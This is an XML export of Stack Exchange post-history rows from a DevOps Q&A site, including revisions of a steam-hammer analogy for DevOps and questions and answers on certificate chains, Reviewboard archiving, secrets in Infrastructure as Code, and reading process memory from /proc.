  <row Id="5993" PostHistoryTypeId="2" PostId="1902" RevisionGUID="23507535-c428-44a9-b9db-17027e48ed75" CreationDate="2017-08-31T19:16:19.740" UserId="2845" Text="DevOps isn't just a *different* way of doing things, it is a *better* way of doing things. Perhaps it will help if I rephrase the question in a different context, the context of the industrual age, the railroad and the steam hammer:&#xD;&#xA;&#xD;&#xA;&gt;Does a railroad company need Steam Hammers if it already lays track at an acceptable speed?&#xD;&#xA;&gt;-----------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I mean, steam hammers from the business view are about speed and quality, right?&#xD;&#xA;&gt;&#xD;&#xA;&gt;What does it mean in a company is laying track fast enough for their customers without steam hammers? Which of these might apply?&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. They lay track at a sufficient level, no change is required&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2. They use steam hammers but don't know it or call the steam hammer something else&#xD;&#xA;&gt;&#xD;&#xA;&gt; 3. They use something totally different and better than a steam hammer and we really should find out what it is (before it is too late)&#xD;&#xA;&gt;&#xD;&#xA;&gt; 4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of the next financial report (in the case that they manage to survive long enough to see it)&#xD;&#xA;&#xD;&#xA;The answer is obviously probably #4. They may not see the problem with the next financial report - perhaps it will take a few years - but eventually it will become clear how and why competitors outperform businesses still manually &quot;laying track&quot; as it were. Sure, it's possible they have come up with a diesel powered hammer that is more efficient and less prone to malfunction or breakdowns, but not likely.&#xD;&#xA;&#xD;&#xA;Thinking that they can outperform the steam hammer is going to get this company left behind. Sure, an individual group may have their steam hammer blow up and fall apart and perhaps that one group has such trouble with their steam hammer that it would have been more efficient in *that one case* to do things the old fashioned way, but they are the exception to the rule and the problem likely was that their steam hammer was poorly built and/or poorly maintained.&#xD;&#xA;&#xD;&#xA;The industrial age is coming and the railroad company can either check out the competition and then try to get their own steam hammers, or get left behind and eventually succumb to their irrelevance and antiquity.&#xD;&#xA;&#xD;&#xA;DevOps is no different. It's just another iteration of automation that companies can either embrace or ignore at their own peril much like the steam hammer." ContentLicense="CC BY-SA 3.0" />
  <row Id="5994" PostHistoryTypeId="5" PostId="1901" RevisionGUID="20f2cb2e-1a74-4234-9a7a-f4f75b9413e2" CreationDate="2017-08-31T19:17:45.930" UserId="2845" Comment="added 27 characters in body" Text="I mean, DevOps is, from the business view, about speed and quality, right?&#xD;&#xA;&#xD;&#xA;What does it mean if a company is growing and fast enough for their custoners without devops? Does one of the following apply?&#xD;&#xA;&#xD;&#xA;1. They did, or do software development at sufficient level, no change is required&#xD;&#xA;2. They do DevOps but don't know it/gave it another name&#xD;&#xA;3. They do something totally different and better than DevOps as we know it and we really should find out what it is (before it is too late)&#xD;&#xA;4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of next financial report (in case they manage to survive long enough to see it) " ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostHistoryTypeId="5" PostId="1902" RevisionGUID="a9ffc4b9-ce3f-4f9a-96d4-5dedceb33af6" CreationDate="2017-08-31T19:36:32.017" UserId="47" Comment="fixed typo" Text="DevOps isn't just a *different* way of doing things, it is a *better* way of doing things. Perhaps it will help if I rephrase the question in a different context, the context of the industrial age, the railroad and the steam hammer:&#xD;&#xA;&#xD;&#xA;&gt;Does a railroad company need Steam Hammers if it already lays track at an acceptable speed?&#xD;&#xA;&gt;-----------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I mean, steam hammers from the business view are about speed and quality, right?&#xD;&#xA;&gt;&#xD;&#xA;&gt;What does it mean in a company is laying track fast enough for their customers without steam hammers? Which of these might apply?&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. They lay track at a sufficient level, no change is required&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2. They use steam hammers but don't know it or call the steam hammer something else&#xD;&#xA;&gt;&#xD;&#xA;&gt; 3. They use something totally different and better than a steam hammer and we really should find out what it is (before it is too late)&#xD;&#xA;&gt;&#xD;&#xA;&gt; 4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of the next financial report (in the case that they manage to survive long enough to see it)&#xD;&#xA;&#xD;&#xA;The answer is obviously probably #4. They may not see the problem with the next financial report - perhaps it will take a few years - but eventually it will become clear how and why competitors outperform businesses still manually &quot;laying track&quot; as it were. Sure, it's possible they have come up with a diesel powered hammer that is more efficient and less prone to malfunction or breakdowns, but not likely.&#xD;&#xA;&#xD;&#xA;Thinking that they can outperform the steam hammer is going to get this company left behind. Sure, an individual group may have their steam hammer blow up and fall apart and perhaps that one group has such trouble with their steam hammer that it would have been more efficient in *that one case* to do things the old fashioned way, but they are the exception to the rule and the problem likely was that their steam hammer was poorly built and/or poorly maintained.&#xD;&#xA;&#xD;&#xA;The industrial age is coming and the railroad company can either check out the competition and then try to get their own steam hammers, or get left behind and eventually succumb to their irrelevance and antiquity.&#xD;&#xA;&#xD;&#xA;DevOps is no different. It's just another iteration of automation that companies can either embrace or ignore at their own peril much like the steam hammer." ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostHistoryTypeId="5" PostId="1902" RevisionGUID="c16c00bf-dedd-48eb-85c9-515c323dcdc6" CreationDate="2017-08-31T21:41:00.473" UserId="2845" Comment="added 1 character in body" Text="DevOps isn't just a *different* way of doing things, it is a *better* way of doing things. Perhaps it will help if I rephrase the question in a different context - the context of the industrial age, the railroad and the steam hammer:&#xD;&#xA;&#xD;&#xA;&gt;Does a railroad company need Steam Hammers if it already lays track at an acceptable speed?&#xD;&#xA;&gt;-----------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I mean, steam hammers from the business view are about speed and quality, right?&#xD;&#xA;&gt;&#xD;&#xA;&gt;What does it mean in a company is laying track fast enough for their customers without steam hammers? Which of these might apply?&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. They lay track at a sufficient level, no change is required&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2. They use steam hammers but don't know it or call the steam hammer something else&#xD;&#xA;&gt;&#xD;&#xA;&gt; 3. They use something totally different and better than a steam hammer and we really should find out what it is (before it is too late)&#xD;&#xA;&gt;&#xD;&#xA;&gt; 4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of the next financial report (in the case that they manage to survive long enough to see it)&#xD;&#xA;&#xD;&#xA;The answer is obviously probably #4. They may not see the problem with the next financial report - perhaps it will take a few years - but eventually it will become clear how and why competitors outperform businesses still manually &quot;laying track&quot; as it were. Sure, it's possible they have come up with a diesel powered hammer that is more efficient and less prone to malfunction or breakdowns, but not likely.&#xD;&#xA;&#xD;&#xA;Thinking that they can outperform the steam hammer is going to get this company left behind. Sure, an individual group may have their steam hammer blow up and fall apart and perhaps that one group has such trouble with their steam hammer that it would have been more efficient in *that one case* to do things the old fashioned way, but they are the exception to the rule and the problem likely was that their steam hammer was poorly built and/or poorly maintained.&#xD;&#xA;&#xD;&#xA;The industrial age is coming and the railroad company can either check out the competition and then try to get their own steam hammers, or get left behind and eventually succumb to their irrelevance and antiquity.&#xD;&#xA;&#xD;&#xA;DevOps is no different. It's just another iteration of automation that companies can either embrace or ignore at their own peril much like the steam hammer." ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostHistoryTypeId="2" PostId="1903" RevisionGUID="207f8282-75a3-4e7a-8641-37cac755fc7c" CreationDate="2017-08-31T21:44:25.253" UserId="2237" Text="I had something similar a year ago, so I hope I remember -&#xD;&#xA;&#xD;&#xA;You should have all the certificate chain in the crt file. Verify that you have all the intermediate certificates between your bitbucket certificate and the root one (inclusive).&#xD;&#xA;&#xD;&#xA;You can have a look at the correct format for appending them in the pem format (which I believe is your case with the crt) over [here](https://www.digicert.com/ssl-support/pem-ssl-creation.htm).&#xD;&#xA;&#xD;&#xA;My certificate was signed by Comodo when I had that issue, their certificate and the intermediate weren't in the default ca-bundle supplied by most systems.&#xD;&#xA;&#xD;&#xA;Hope that helps!" ContentLicense="CC BY-SA 3.0" />
  <row Id="5999" PostHistoryTypeId="5" PostId="1903" RevisionGUID="824db27c-1380-401f-9773-700e87da4e58" CreationDate="2017-08-31T21:49:28.057" UserId="2237" Comment="added a notice which I missed from the question" Text="I had something similar a year ago, so I hope I remember -&#xD;&#xA;&#xD;&#xA;You should have all the certificate chain in the crt file. Verify that you have all the intermediate certificates between your bitbucket certificate and the root one (inclusive).&#xD;&#xA;&#xD;&#xA;You can have a look at the correct format for appending them in the pem format (which I believe is your case with the crt) over [here](https://www.digicert.com/ssl-support/pem-ssl-creation.htm).&#xD;&#xA;&#xD;&#xA;My certificate was signed by Comodo when I had that issue, their certificate and the intermediate weren't in the default ca-bundle supplied by most systems.&#xD;&#xA;&#xD;&#xA;Hope that helps!&#xD;&#xA;&#xD;&#xA;**Edit:** Now I noticed it happens also with the fake one - try to check the systems default known certificates (each system has such). On windows you can go to the [Windows Certificates mmc snap-in](https://docs.microsoft.com/en-us/dotnet/framework/wcf/feature-details/how-to-view-certificates-with-the-mmc-snap-in)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6000" PostHistoryTypeId="50" PostId="1637" RevisionGUID="74e4cad8-7f7a-417d-a98d-1db316f75fee" CreationDate="2017-09-01T01:54:11.983" UserId="-1" />
  <row Id="6004" PostHistoryTypeId="50" PostId="1640" RevisionGUID="81273bb2-b691-4f3e-85ef-9bd87f08650e" CreationDate="2017-09-01T04:54:54.637" UserId="-1" />
  <row Id="6007" PostHistoryTypeId="50" PostId="1605" RevisionGUID="e897ed45-28bd-4edc-81cf-ea8f8e170b3f" CreationDate="2017-09-01T05:54:55.213" UserId="-1" />
  <row Id="6008" PostHistoryTypeId="5" PostId="1894" RevisionGUID="0c1c1148-d3a3-4acb-934e-895e4ed866f8" CreationDate="2017-09-01T06:42:36.283" UserId="40" Comment="added 4 characters in body; edited title" Text="What is the difference between DevOps engineer Vs DevOps consultant Vs DevOps architect?&#xD;&#xA;&#xD;&#xA;Considering Role wise &amp; Salary wise &amp; Seniority wise &amp; job demand wise, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostHistoryTypeId="4" PostId="1894" RevisionGUID="0c1c1148-d3a3-4acb-934e-895e4ed866f8" CreationDate="2017-09-01T06:42:36.283" UserId="40" Comment="added 4 characters in body; edited title" Text="What is the difference between DevOps engineer Vs DevOps consultant Vs DevOps architect?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6010" PostHistoryTypeId="2" PostId="1905" RevisionGUID="cf590ef9-f8a7-47df-9dd8-6ba6b046678f" CreationDate="2017-09-01T06:43:50.463" UserId="4164" Text="My team was using an Ubuntu box to host an instance of Reviewboard 2.5.2 that we used for a few years before migrating to a service in the cloud. The machine was maintained by my predecessor who has long-since left the company.&#xD;&#xA;&#xD;&#xA;Now that we have a service elsewhere that we don't need to maintain, we want to take this old server offline permanently, but would like to preserve the contents site itself -- that is all of the reviews -- for posterity.&#xD;&#xA;&#xD;&#xA;I'd rather not just spin up another Reviewboard instance and I'd also rather not be in the business of maintaining a physical web server -- the idea is that I'd put this in our company cloud.&#xD;&#xA;&#xD;&#xA;Now I've done a dump of the json-formatted data via RBTool, however this isn't really useful to me in its current form.&#xD;&#xA;&#xD;&#xA;What I ultimately want is to have these old, archived reviews be searchable and for all the links to work more or less as expected for the sake of convenience.&#xD;&#xA;&#xD;&#xA;Has anyone had luck doing something like this? Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="6011" PostHistoryTypeId="1" PostId="1905" RevisionGUID="cf590ef9-f8a7-47df-9dd8-6ba6b046678f" CreationDate="2017-09-01T06:43:50.463" UserId="4164" Text="archive contents of a reviewboard server as read-only" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostHistoryTypeId="3" PostId="1905" RevisionGUID="cf590ef9-f8a7-47df-9dd8-6ba6b046678f" CreationDate="2017-09-01T06:43:50.463" UserId="4164" Text="&lt;linux&gt;&lt;backup&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6013" PostHistoryTypeId="5" PostId="1905" RevisionGUID="2ee141d2-2d56-446b-96f4-f4a8ac08d21a" CreationDate="2017-09-01T07:46:33.463" UserId="210" Comment="deleted 8 characters in body" Text="My team was using an Ubuntu box to host an instance of [Reviewboard][1] 2.5.2 that we used for a few years before migrating to a service in the cloud. The machine was maintained by my predecessor who has long-since left the company.&#xD;&#xA;&#xD;&#xA;Now that we have a service elsewhere that we don't need to maintain, we want to take this old server offline permanently, but would like to preserve the contents site itself -- that is all of the reviews -- for posterity.&#xD;&#xA;&#xD;&#xA;I'd rather not just spin up another Reviewboard instance and I'd also rather not be in the business of maintaining a physical web server -- the idea is that I'd put this in our company cloud.&#xD;&#xA;&#xD;&#xA;Now I've done a dump of the json-formatted data via RBTool, however this isn't really useful to me in its current form.&#xD;&#xA;&#xD;&#xA;What I ultimately want is to have these old, archived reviews be searchable and for all the links to work more or less as expected for the sake of convenience.&#xD;&#xA;&#xD;&#xA;Has anyone had luck doing something like this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reviewboard.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6022" PostHistoryTypeId="2" PostId="1906" RevisionGUID="c91f50df-bbfe-4b3b-9d1c-6bb58633df62" CreationDate="2017-09-01T12:15:43.290" UserId="210" Text="According to this [Q&amp;A on github][1]:&#xD;&#xA;&#xD;&#xA;&gt; The host network is special. You have to use network_mode: host on the&#xD;&#xA;&gt; service&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/2844" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostHistoryTypeId="2" PostId="1907" RevisionGUID="fcce4663-540a-449e-90ca-12629a88aa1d" CreationDate="2017-09-01T13:58:41.253" UserId="4167" Text="When developing a Web App, and trying to adhere to what is generally considered best practice, e.g. [The 12 factor app](https://12factor.net/) methodology etc. One key concept is to keep configuration and sensative data out of your source code - access keys, connection strings etc. Using something like `.env` files to set different connection strings for a dev, test and production environment.&#xD;&#xA;&#xD;&#xA;However, another key point (not sure is is mentioned in the 12 factor app), seems to be Infrastructure as Code. I completely see the benefit of this, however, I don't see how it ccan be reconciled with not storing/hard coding sensative data. Surely to entirely automate the provisioning of a new environment, a series of env variables has to be specified - in code...&#xD;&#xA;&#xD;&#xA;How can these two seemingly contradictory pieces of standard practice be reconcilled? &#xD;&#xA;&#xD;&#xA;My current approach is something like this:&#xD;&#xA;&#xD;&#xA;1. Hosted Git Repo with however many dev branches and a master branch&#xD;&#xA;&#xD;&#xA;2. When dev branches are merged with master branch, the CI build is triggered, this builds the project and runs unit and integration tests. &#xD;&#xA;&#xD;&#xA;3. The git repo also has a production branch, when master is merged into production, the same build runs, but if it is successful, a CD release is created. (In my case this is a deployment to an Azure App Service)&#xD;&#xA;&#xD;&#xA;So my three environments are the local dev machines (before a PR into the master branch in the hosted repo), the CI build server and the production app service. At the moment, locally we have a `.env` file which isn't checked into the git repo. On the CI server, the `NODE_ENV` value is set to test, so the cod euses hardcoded unit test values (nothing sensitive). Then in production we manually set the connection strings etc. in the app service settings. This I feel is potentially an issue. &#xD;&#xA;&#xD;&#xA;So possibly I could add an infrastructure folder to the repo, with Terraform code in it, then as part of the release process, terraform plan could see if there is anything that needs changing between the code's infrastrucutre and the real world infrastructure (and if so, execute it). But where do I store the production env variables?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostHistoryTypeId="1" PostId="1907" RevisionGUID="fcce4663-540a-449e-90ca-12629a88aa1d" CreationDate="2017-09-01T13:58:41.253" UserId="4167" Text="How to reconcile Infrastructure as Code and not storing env config in code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostHistoryTypeId="3" PostId="1907" RevisionGUID="fcce4663-540a-449e-90ca-12629a88aa1d" CreationDate="2017-09-01T13:58:41.253" UserId="4167" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;terraform&gt;&lt;environments&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostHistoryTypeId="5" PostId="1907" RevisionGUID="150306d5-7b7d-4a1b-87af-e6cd9d72d8df" CreationDate="2017-09-01T14:11:35.197" UserId="13" Comment="added 2 characters in body" Text="When developing a Web App, and trying to adhere to what is generally considered best practice, e.g. [The 12 factor app](https://12factor.net/) methodology etc. One key concept is to keep configuration and sensitive data out of your source code - access keys, connection strings etc. Using something like `.env` files to set different connection strings for a dev, test and production environment.&#xD;&#xA;&#xD;&#xA;However, another key point (not sure is is mentioned in the 12 factor app), seems to be Infrastructure as Code. I completely see the benefit of this, however, I don't see how it can be reconciled with not storing/hard coding sensative data. Surely to entirely automate the provisioning of a new environment, a series of env variables has to be specified - in code...&#xD;&#xA;&#xD;&#xA;How can these two seemingly contradictory pieces of standard practices be reconciled? &#xD;&#xA;&#xD;&#xA;My current approach is something like this:&#xD;&#xA;&#xD;&#xA;1. Hosted Git Repo with however many dev branches and a master branch&#xD;&#xA;&#xD;&#xA;2. When dev branches are merged with master branch, the CI build is triggered, this builds the project and runs unit and integration tests. &#xD;&#xA;&#xD;&#xA;3. The git repo also has a production branch, when master is merged into production, the same build runs, but if it is successful, a CD release is created. (In my case this is a deployment to an Azure App Service)&#xD;&#xA;&#xD;&#xA;So my three environments are the local dev machines (before a PR into the master branch in the hosted repo), the CI build server and the production app service. At the moment, locally we have a `.env` file which isn't checked into the git repo. On the CI server, the `NODE_ENV` value is set to test, so the code uses hard-coded unit test values (nothing sensitive). Then in production we manually set the connection strings etc. in the app service settings. This, I feel, is potentially an issue. &#xD;&#xA;&#xD;&#xA;So possibly I could add an infrastructure folder to the repo, with Terraform code in it, then as part of the release process, terraform plan could see if there is anything that needs changing between the code's infrastrucutre and the real world infrastructure (and if so, execute it). But where do I store the production env variables?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostHistoryTypeId="2" PostId="1910" RevisionGUID="8d9e9644-6e08-4f20-8627-304cf9301272" CreationDate="2017-09-01T14:33:33.800" UserId="210" Text="https://forums.developer.apple.com/thread/75038&#xD;&#xA;&#xD;&#xA;&gt; Hi!&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&gt; I think I've got it figured out...&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&gt; instead of:&#xD;&#xA;&gt; &#xD;&#xA;&gt; -exportProvisioningProfile &quot;MyProvisioningProfile&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; use:&#xD;&#xA;&gt; &#xD;&#xA;&gt; PROVISIONING_PROFILE_SPECIFIER=&quot;MyProvisioningProfile&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; We've got unity building the project every time and it doesn't fill in&#xD;&#xA;&gt; the PROVISIONING_PROFILE or PROVISIONING_PROFILE_SPECIFIER. And it&#xD;&#xA;&gt; looks like it will figure out the alphabet soup that belongs to&#xD;&#xA;&gt; PROVISIONING_PROFILE by looking it up itself provided you have&#xD;&#xA;&gt; downloaded it already." ContentLicense="CC BY-SA 3.0" />
  <row Id="6034" PostHistoryTypeId="2" PostId="1911" RevisionGUID="eb0205ef-0b6b-4e55-9559-b0b74b6992cf" CreationDate="2017-09-01T15:42:57.807" UserId="47" Text="As Tensibai mentioned, you can extract this info from [the `/proc` filesystem][1], but in most cases you need to determine the trending yourself. There are several places which could be of interest:&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/statm**&#xD;&#xA;&#xD;&#xA;&gt;               Provides information about memory usage, measured in pages.&#xD;&#xA;&gt;               The columns are:&#xD;&#xA;&gt; &#xD;&#xA;&gt;                   size       (1) total program size&#xD;&#xA;&gt;                              (same as VmSize in /proc/[pid]/status)&#xD;&#xA;&gt;                   resident   (2) resident set size&#xD;&#xA;&gt;                              (same as VmRSS in /proc/[pid]/status)&#xD;&#xA;&gt;                   shared     (3) number of resident shared pages (i.e., backed by a file)&#xD;&#xA;&gt;                              (same as RssFile+RssShmem in /proc/[pid]/status)&#xD;&#xA;&gt;                   text       (4) text (code)&#xD;&#xA;&gt;                   lib        (5) library (unused since Linux 2.6; always 0)&#xD;&#xA;&gt;                   data       (6) data + stack&#xD;&#xA;&gt;                   dt         (7) dirty pages (unused since Linux 2.6; always 0)&#xD;&#xA;&#xD;&#xA;    cat /proc/31520/statm&#xD;&#xA;    1217567 835883 84912 29 0 955887 0&#xD;&#xA;&#xD;&#xA; - memory-related fields in **/proc/[pid]/status** (notably `Vm*` and `Rss*`), might be preferable if you also collect other info from this file&#xD;&#xA;&#xD;&#xA;&gt;               * VmPeak: Peak virtual memory size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmSize: Virtual memory size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmLck: Locked memory size (see mlock(3)).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPin: Pinned memory size (since Linux 3.2).  These are&#xD;&#xA;&gt;                 pages that can't be moved because something needs to&#xD;&#xA;&gt;                 directly access physical memory.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmHWM: Peak resident set size (&quot;high water mark&quot;).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmRSS: Resident set size.  Note that the value here is the&#xD;&#xA;&gt;                 sum of RssAnon, RssFile, and RssShmem.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssAnon: Size of resident anonymous memory.  (since Linux&#xD;&#xA;&gt;                 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssFile: Size of resident file mappings.  (since Linux 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssShmem: Size of resident shared memory (includes System V&#xD;&#xA;&gt;                 shared memory, mappings from tmpfs(5), and shared anonymous&#xD;&#xA;&gt;                 mappings).  (since Linux 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmData, VmStk, VmExe: Size of data, stack, and text&#xD;&#xA;&gt;                 segments.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmLib: Shared library code size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPTE: Page table entries size (since Linux 2.6.10).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPMD: Size of second-level page tables (since Linux 4.0).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmSwap: Swapped-out virtual memory size by anonymous private&#xD;&#xA;&gt;                 pages; shmem swap usage is not included (since Linux&#xD;&#xA;&gt;                 2.6.34).&#xD;&#xA;&#xD;&#xA;    server:/&gt; egrep '^(Vm|Rss)' /proc/31520/status&#xD;&#xA;    VmPeak:  6315376 kB&#xD;&#xA;    VmSize:  4870332 kB&#xD;&#xA;    VmLck:         0 kB&#xD;&#xA;    VmPin:         0 kB&#xD;&#xA;    VmHWM:   5009608 kB&#xD;&#xA;    VmRSS:   3344300 kB&#xD;&#xA;    VmData:  3822572 kB&#xD;&#xA;    VmStk:      1040 kB&#xD;&#xA;    VmExe:       116 kB&#xD;&#xA;    VmLib:    146736 kB&#xD;&#xA;    VmPTE:      8952 kB&#xD;&#xA;    VmSwap:        0 kB&#xD;&#xA;&#xD;&#xA;Some processes can, through their behaviour and not through their actual memory footprint, contribute to the overall system memory starvation and eventual demise. So it might also be of interest to look at the [OOM Killer][2] related information, which already take into account some trending information:&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/oom_score**&#xD;&#xA;&#xD;&#xA;&gt;               This file displays the current score that the kernel gives to&#xD;&#xA;&gt;               this process for the purpose of selecting a process for the&#xD;&#xA;&gt;               OOM-killer.  A higher score means that the process is more&#xD;&#xA;&gt;               likely to be selected by the OOM-killer.  The basis for this&#xD;&#xA;&gt;               score is the amount of memory used by the process, with&#xD;&#xA;&gt;               increases (+) or decreases (-) for factors including:&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process creates a lot of children using fork(2)&#xD;&#xA;&gt;                 (+);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process has been running a long time, or has&#xD;&#xA;&gt;                 used a lot of CPU time (-);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process has a low nice value (i.e., &gt; 0) (+);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process is privileged (-); and&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process is making direct hardware access (-).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The oom_score also reflects the adjustment specified by the&#xD;&#xA;&gt;               oom_score_adj or oom_adj setting for the process.&#xD;&#xA;&#xD;&#xA;    server:/&gt; cat proc/31520/oom_score&#xD;&#xA;    103&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/oom_score_adj** (or its deprecated predecessor **/proc/[pid]/oom_adj**, if need be)&#xD;&#xA;&#xD;&#xA;&gt;               This file can be used to adjust the badness heuristic used to&#xD;&#xA;&gt;               select which process gets killed in out-of-memory conditions.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The badness heuristic assigns a value to each candidate task&#xD;&#xA;&gt;               ranging from 0 (never kill) to 1000 (always kill) to determine&#xD;&#xA;&gt;               which process is targeted.  The units are roughly a proportion&#xD;&#xA;&gt;               along that range of allowed memory the process may allocate&#xD;&#xA;&gt;               from, based on an estimation of its current memory and swap&#xD;&#xA;&gt;               use.  For example, if a task is using all allowed memory, its&#xD;&#xA;&gt;               badness score will be 1000.  If it is using half of its&#xD;&#xA;&gt;               allowed memory, its score will be 500.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               There is an additional factor included in the badness score:&#xD;&#xA;&gt;               root processes are given 3% extra memory over other tasks.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The amount of &quot;allowed&quot; memory depends on the context in which&#xD;&#xA;&gt;               the OOM-killer was called.  If it is due to the memory&#xD;&#xA;&gt;               assigned to the allocating task's cpuset being exhausted, the&#xD;&#xA;&gt;               allowed memory represents the set of mems assigned to that&#xD;&#xA;&gt;               cpuset (see cpuset(7)).  If it is due to a mempolicy's node(s)&#xD;&#xA;&gt;               being exhausted, the allowed memory represents the set of&#xD;&#xA;&gt;               mempolicy nodes.  If it is due to a memory limit (or swap&#xD;&#xA;&gt;               limit) being reached, the allowed memory is that configured&#xD;&#xA;&gt;               limit.  Finally, if it is due to the entire system being out&#xD;&#xA;&gt;               of memory, the allowed memory represents all allocatable&#xD;&#xA;&gt;               resources.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The value of oom_score_adj is added to the badness score&#xD;&#xA;&gt;               before it is used to determine which task to kill.  Acceptable&#xD;&#xA;&gt;               values range from -1000 (OOM_SCORE_ADJ_MIN) to +1000&#xD;&#xA;&gt;               (OOM_SCORE_ADJ_MAX).  This allows user space to control the&#xD;&#xA;&gt;               preference for OOM-killing, ranging from always preferring a&#xD;&#xA;&gt;               certain task or completely disabling it from OOM killing.  The&#xD;&#xA;&gt;               lowest possible value, -1000, is equivalent to disabling OOM-&#xD;&#xA;&gt;               killing entirely for that task, since it will always report a&#xD;&#xA;&gt;               badness score of 0.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               Consequently, it is very simple for user space to define the&#xD;&#xA;&gt;               amount of memory to consider for each task.  Setting an&#xD;&#xA;&gt;               oom_score_adj value of +500, for example, is roughly&#xD;&#xA;&gt;               equivalent to allowing the remainder of tasks sharing the same&#xD;&#xA;&gt;               system, cpuset, mempolicy, or memory controller resources to&#xD;&#xA;&gt;               use at least 50% more memory.  A value of -500, on the other&#xD;&#xA;&gt;               hand, would be roughly equivalent to discounting 50% of the&#xD;&#xA;&gt;               task's allowed memory from being considered as scoring against&#xD;&#xA;&gt;               the task.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               For backward compatibility with previous kernels,&#xD;&#xA;&gt;               /proc/[pid]/oom_adj can still be used to tune the badness&#xD;&#xA;&gt;               score.  Its value is scaled linearly with oom_score_adj.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               Writing to /proc/[pid]/oom_score_adj or /proc/[pid]/oom_adj&#xD;&#xA;&gt;               will change the other with its scaled value.&#xD;&#xA;&#xD;&#xA;    server:/&gt; cat proc/31520/oom_score_adj &#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man5/proc.5.html&#xD;&#xA;  [2]: https://linux-mm.org/OOM_Killer" ContentLicense="CC BY-SA 3.0" />
